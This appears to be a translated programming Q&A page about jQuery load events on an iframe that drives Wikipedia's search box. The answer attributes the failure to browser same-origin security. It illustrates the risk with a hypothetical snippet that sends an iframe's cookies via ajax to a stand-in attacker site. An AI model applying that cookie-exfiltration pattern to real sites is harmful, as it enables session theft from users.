时间戳

首页 > 解决方案 > iframe 上的事件“加载”成功触发，但 iframe 无法定位

javascript - iframe 上的事件“加载”成功触发，但 iframe 无法定位

问题描述

我已经成功地创建了一段代码，它采用 CSV 数组并通过 IFRAME 将文本拖放到 Wikipedia 的搜索栏中，然后单击搜索按钮。不幸的是，加载后，我无法再定位 IFRAME 的内容。我还嵌套了两个加载事件处理程序，目的是等待每个页面完成加载。

我将处理程序设置为在触发后解除绑定/关闭，这似乎可以防止触发“重复事件”。我尝试了几种策略来确定事件处理程序是否在正确的时间触发以及更改目标 ID，但不确定此时还可以尝试什么。我怀疑第二个事件处理程序在上一页上触发，因为它已经触发就绪，但“附加”似乎按预期工作。

$("#debugwindow").append("pre<br>");
$("#iframeTarget").on("load", function() {
    $("#iframeTarget").unbind();
    $("#iframeTarget").off();
    $("#iframeTarget").attr("id","iframeTarget2");

    $("#debugwindow").append("start interior of 1<br>");

    $("#iframeTarget2").on("load", function() {
        $("#iframeTarget2").unbind();
        $("#iframeTarget2").off();
        $("#iframeTarget2").attr("id","iframeTarget3");

        $("#debugwindow").append("start interior of 2<br>");

        $("#iframeTarget3").contents().find("#searchInput").val("I don't work?"); // 3 fails?
        $("#iframeTarget,#iframeTarget2,#iframeTarget3").html("even I don't do anything!"); // fails?
        // $("#iframecont").html("I ruin everything!"); // targets iframe container as test

        $("#debugwindow").append("end interior of 2<br>");
    });

    $(this).contents().find("#searchInput").val("3M"); // 1 successfully fills search
    $(this).contents().find("#searchButton").trigger("click"); // 2 successfully triggers button, changes URL to 3M page

    $("#debugwindow").append("end interior of 1<br>");
});
$("#debugwindow").append("post<br>");

寻找有关正确设置 2 个事件处理程序或我的逻辑是否错误的任何见解。理想情况下，我将能够填充搜索栏，触发搜索，然后在下一个加载页面上操作 DOM。

标签： javascriptjqueryeventsiframenested

解决方案

这是因为浏览器中的安全问题。您将无法在 javascript iframe 中执行任何脚本，因为如果您能够在远程 iframe 中执行 javascript 代码，则会面临极大的风险。

例如：

<iframe src="http://website.to.hack"></iframe>

$(iframe).load(() => {
    $.ajax({
        url: 'http://my.website',
        data: iframe.document.cookie
    });
});

现在我拥有该网站的所有 cookie。除非该框架在您的站点和它之间具有特定的信任，否则您将无法编写脚本。（你可能需要一个 chrome 扩展）。

有关更多信息，请参阅此帖子和线程。

推荐阅读